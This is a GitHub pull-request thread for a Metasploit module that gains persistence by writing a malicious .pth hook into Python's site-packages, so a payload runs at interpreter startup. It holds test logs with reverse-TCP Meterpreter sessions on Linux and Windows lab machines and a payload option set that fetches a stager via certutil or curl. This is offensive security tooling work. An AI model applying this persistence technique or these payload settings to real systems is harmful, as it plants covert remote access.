Adds module for python site-specific hook persistence #20692
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modules/exploits/multi/persistence/python_site_specific_hook.rb
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dwelch-r7
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modules/exploits/multi/persistence/python_site_specific_hook.rb
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modules/exploits/multi/persistence/python_site_specific_hook.rb
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msutovsky-r7
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jheysel-r7
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Nice work @msutovsky-r7! Ran into some issues testing Windows but the Linux side works great
Testing
Linux
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:4004
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.10
[*] Got path to site-specific hooks /usr/local/lib/python3.10/dist-packages/
[+] Successfully created malicious hook /usr/local/lib/python3.10/dist-packages/txPYHioeQt.pth
[*] Sending stage (3090404 bytes) to 172.16.199.136
[*] Meterpreter session 2 opened (172.16.199.1:4004 -> 172.16.199.136:47470) at 2025-12-09 11:37:23 -0800
msf exploit(multi/persistence/python_site_specific_hook) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
syServer username: root
smeterpreter > sysinfo
Computer : 172.16.199.136
OS : Ubuntu 22.04 (Linux 6.8.0-87-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
Windows failure when EXECUTION_TARGET = USER
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:7721
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:\Users\msfsuer/AppData/Local/Programs/Python/Python313/Lib/site-packages/
[-] Exploit aborted due to failure: payload-failed: Failed to create malicious hook
And when EXECUTION_TARGET = SYSTEM
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:/Python313/Lib/site-packages/
[-] Exploit aborted due to failure: payload-failed: Failed to create malicious hook
I installed python3 via the Microsoft app store as was suggested by the OS and the interpreter gets installed here:
C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0>dir
Volume in drive C has no label.
Volume Serial Number is 024F-CE8D
Directory of C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0
12/09/2025 11:45 AM <DIR> .
12/09/2025 11:45 AM <DIR> ..
12/09/2025 11:45 AM 1,042,354 AppxBlockMap.xml
12/09/2025 11:45 AM 9,134 AppxManifest.xml
12/09/2025 11:45 AM <DIR> AppxMetadata
12/09/2025 11:45 AM 12,190 AppxSignature.p7x
12/09/2025 11:45 AM 23,092 classicAppCompat.sccd
12/09/2025 11:45 AM <DIR> DLLs
12/09/2025 11:45 AM 170,840 idle3.13.exe
12/09/2025 11:45 AM <DIR> include
12/09/2025 11:45 AM <DIR> Lib
12/09/2025 11:45 AM <DIR> libs
12/09/2025 11:45 AM 33,861 LICENSE.txt
12/09/2025 11:45 AM 171,864 pip3.13.exe
12/09/2025 11:45 AM 171,864 python.exe
12/09/2025 11:45 AM 171,864 python3.13.exe
12/09/2025 11:45 AM 72,536 python3.dll
12/09/2025 11:45 AM 6,125,912 python313.dll
12/09/2025 11:45 AM 170,840 pythonw.exe
12/09/2025 11:45 AM 170,840 pythonw3.13.exe
12/09/2025 11:45 AM 632,360 resources.pri
12/09/2025 11:45 AM <DIR> tcl
07/22/2025 02:12 PM 120,400 vcruntime140.dll
07/22/2025 02:12 PM 49,776 vcruntime140_1.dll
12/09/2025 11:45 AM <DIR> _resources
16 File(s) 9,149,727 bytes
9 Dir(s) 20,178,419,712 bytes free
We should account for the possibility of python being installed this way, apparently "C:\Program Files\WindowsApps" is a protected folder that one on not even admins can write to which is where "site-packages" gets installed.
msf exploit(multi/persistence/python_site_specific_hook) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
4 meterpreter x64/windows DESKTOP-0OPTL76\Administrator @ DESKTOP-0OPTL76 172.16.199.1:9931 -> 172.16.199.141:50110 (172.16.199.141)
msf exploit(multi/persistence/python_site_specific_hook) > options
Module options (exploit/multi/persistence/python_site_specific_hook):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTION_TARGET SYSTEM yes Selects if persistence is installed under current user or for all users (Accepted: USER, SYSTEM
)
PYTHON_HOOK_PATH C:\Program Files\WindowsApps\PythonSoftwareFoundati no The path to Python site-specific hook directory
on.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0\Lib\s
ite-packages
SESSION -1 yes The session to run this module on
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME WBzIMgefwZR no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
LPORT 7721 yes The listen port
When FETCH_COMMAND is one of CURL:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
Exploit target:
Id Name
-- ----
0 Auto
View the full module info with the info, or info -d command.
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 8.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[*] Got path to site-specific hooks C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0\Lib\site-packages
[-] Exploit aborted due to failure: payload-failed: Failed to create malicious hook
| This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in `site-specific` or `dist-packages` directories, any lines beginning with `import` will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. | ||
|
|
||
| ## Verification Steps | ||
| Example steps in this format (is also in the PR): |
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| Example steps in this format (is also in the PR): |
modules/exploits/multi/persistence/python_site_specific_hook.rb
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Would you mind share details of how you installed the Python on Windows? I did try with the Microsoft store and it got saved into directory |
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Hey @msutovsky-r7, on Windows 10 with a shim in: Here's a brief screen recording of the process/ showing that these directories did not exist prior to installing. Is this how you installed from the Microsoft store? Could it be due to difference in Windows versions? |
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Hey @jheysel-r7, I've added check if the target hook directory exists and if it is writable. The original idea was that if the target system has some different hooks path, they can use |
jheysel-r7
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Thanks for making that change @msutovsky-r7! Makes sense and testing checks out 👍
While testing I added two final suggestion comments, once those are addressed I think this will be good to land.
Testing
No write access to PYTHON_HOOK_PATH
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 3.
[*] Exploit completed, but no session was created.
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.13
[-] Exploit aborted due to failure: no-access: No permission to write to C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.13_3.13.2544.0_x64__qbz5n2kfra8p0\
[*] 172.16.199.141 - Meterpreter session 1 closed. Reason: Died
Successful run on Windows (session has write access to PYTHON_HOOK_PATH)
msf exploit(multi/persistence/python_site_specific_hook) > set session -1
session => -1
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:5555
msf exploit(multi/persistence/python_site_specific_hook) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.14
[*] Got path to site-specific hooks C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/
[+] Successfully created malicious hook C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/ZvGglX.pth
msf exploit(multi/persistence/python_site_specific_hook) >
[*] Sending stage (230982 bytes) to 172.16.199.141
[*] Meterpreter session 2 opened (172.16.199.1:5555 -> 172.16.199.141:51010) at 2026-01-05 16:50:44 -0800
msf exploit(multi/persistence/python_site_specific_hook) > sessions -i -1
[*] Starting interaction with 2...
meterpreter > getuid
Server username: DESKTOP-0OPTL76\msfsuer
meterpreter > sysinfo
Computer : DESKTOP-0OPTL76
OS : Windows 10 22H2+ (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
modules/exploits/multi/persistence/python_site_specific_hook.rb
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Thanks @msutovsky-r7. Testing on the latest commit was successful. The failing CI test are known, rebasing would fix them but to avoid more back and forth I'll just land this PR now 🫡
Testing
msf exploit(multi/persistence/python_site_specific_hook) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 172.16.199.1:3343
[*] Running automatic check ("set AutoCheck false" to disable)
msf exploit(multi/persistence/python_site_specific_hook) > [+] The target is vulnerable. Python is present on the system
[*] Detected Python version 3.14
[*] Got path to site-specific hooks C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/
[+] Successfully created malicious hook C:\Users\msfsuer/AppData/Local/Programs/Python/Python314/Lib/site-packages/hRWIb.pth
[*] Meterpreter-compatible Cleanup RC file: /Users/jheysel/.msf4/logs/persistence/DESKTOP-0OPTL76_20260106.1155/DESKTOP-0OPTL76_20260106.1155.rc
[*] Sending stage (230982 bytes) to 172.16.199.141
[*] Meterpreter session 2 opened (172.16.199.1:3343 -> 172.16.199.141:57472) at 2026-01-06 16:14:31 -0800
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Release NotesThis adds a persistence module which leverages Python's startup mechanism, where some files can be automatically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions. |
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Work in progressThis module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in
site-specificordist-packagesdirectories, any lines beginning withimportwill be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.Verification Steps
Example steps in this format (is also in the PR):
use multi/persistence/python_site_specific_hookset session #runOptions
PYTHON_HOOK_PATH
If user has session to target machine with non-typical Python paths, they can set their own path to Python hooks.
EXECUTION_TARGET
Python has multiple locations, where it can store startup hooks. This option specifies if the target location should be SYSTEM one - i.e. should affect all users - or USER one, which targets current user.
Scenarios
Linux pop-os 6.17.4-76061704-generic
Windows 10.0.15063